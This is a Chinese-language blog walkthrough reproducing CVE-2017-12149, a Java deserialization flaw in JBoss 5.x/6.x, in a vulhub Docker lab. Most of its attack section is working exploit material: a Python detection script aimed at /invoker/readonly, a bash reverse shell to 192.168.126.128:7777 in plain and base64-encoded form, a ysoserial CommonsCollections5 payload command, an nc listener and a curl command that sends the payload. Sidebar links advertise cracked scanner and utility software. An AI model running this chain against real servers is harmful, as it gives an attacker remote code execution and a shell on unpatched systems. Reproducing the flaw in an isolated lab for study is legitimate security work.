统计
  • 建站日期:2021-03-15
  • 文章总数:63 篇
  • 评论总数:51 条
  • 分类总数:14 个
  • 最后更新:2021年12月29日

JBoss 5.x/6.x 反序列化漏洞CVE-2017-12149复现

本文阅读 2 分钟
首页 渗透测试 正文
广告

0x01 漏洞简介

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。漏洞编号:CVE-2017-12149

影响版本:

  • JBoss 5.x
  • JBoss 6.x

0x02 漏洞环境

执行下面命令启动漏洞环境:

cd /vulhub/jboss/CVE-2017-12149
sudo docker-compose up -d

首次执行时会有1~3分钟时间初始化,初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。

0x03 漏洞复现

1. 漏洞检测POC

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化。

使用POC脚本进行漏洞检测

python cve-2017-12149_poc.py http://192.168.126.130:8080/

POC脚本源码如下:

##!/usr/bin/python
#-*- coding:utf-8 -*-
import requests
import sys

if len(sys.argv)!=2:
    print('+---------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub          +')
    print('+---------------------------------------------------------------+')
    print('+ USE: python <filename> <url>                                  +')
    print('+ EXP: python cve-2017-12149_poc.py http://freeerror.org:8080   +')
    print('+ VER: Jboss AS 5.X                                             +')
    print('+      Jboss AS 6.X                                             +')
    print('+---------------------------------------------------------------+')
    sys.exit()
url = sys.argv[1]

vulurl = url+"/invoker/readonly"

headers = {
'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0",
'Accept': "*/*",
'Content-Type': "application/json",
'X-Requested-With': "XMLHttpRequest",
'Connection': "close",
'Cache-Control': "no-cache"
}


try:
    r =requests.post(vulurl, headers=headers, verify=False)
    e=r.status_code
except:
    print ("[-] Target "+url+" Not CVE-2017-12149 Good Luck")
    sys.exit()
if e == 500:
    print ("[+] Target "+url+" Find CVE-2017-12149  EXP:https://github.com/zhzyker/exphub")
else: 
    print ("[-] Target "+url+" Not CVE-2017-12149 Good Luck")
    exit()

2. 编写反弹shell

# 1. 设置好要接收shell的主机ip和端口号: 
bash -i >& /dev/tcp/192.168.126.128/7777 0>&1 
# 2. 将第一步中的代码进行Base64加密: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx 
# 3. 将第二步中的代码添加到如下位置: 
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i} 
# 4. 使用ysoserial生成序列化数据,并重定向到exp.ser文件 java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" > exp.ser 

Tips1:ysoserical用法:java -jar ysoserial.jar [payload] “[command]” 
Tips2:由于目标jdk版本过高,因此这里使用的利用库为CommonsCollections5(具体根据对方jdk版本选择) Tips3:我们使用bash反弹shell,由于Runtime.getRuntime().exec()中不能使用重定向和管道符符号,这里需要对其进行Base64编码再使用

3. 获取目标shell
在接收shell的攻击主机上开启端口监听:

nc -lvp 7777

通过二进制POST方式发送攻击载荷exp.ser到 /invoker/readonly

curl http://192.168.126.130:8080/invoker/readonly --data-binary @exp.ser

获取目标shell

成功接收到反弹的shell:

成功接收到反弹的shell

本文来自投稿,不代表本站立场,如若转载,请注明出处:https://www.cnhacker.cc/PenetrationTest/201.html
-- 展开阅读全文 --
[安全工具] AWVS14漏洞扫描器破解版下载Acunetix原版及破解器
« 上一篇 03-31
[性能优化] CCleaner_Pro_v5.75.8238_x64_Plus 已注册专业版
下一篇 » 04-01
广告

发表评论

成为第一个评论的人

作者信息

广告

动态快讯

热门文章

广告

标签TAG

热评文章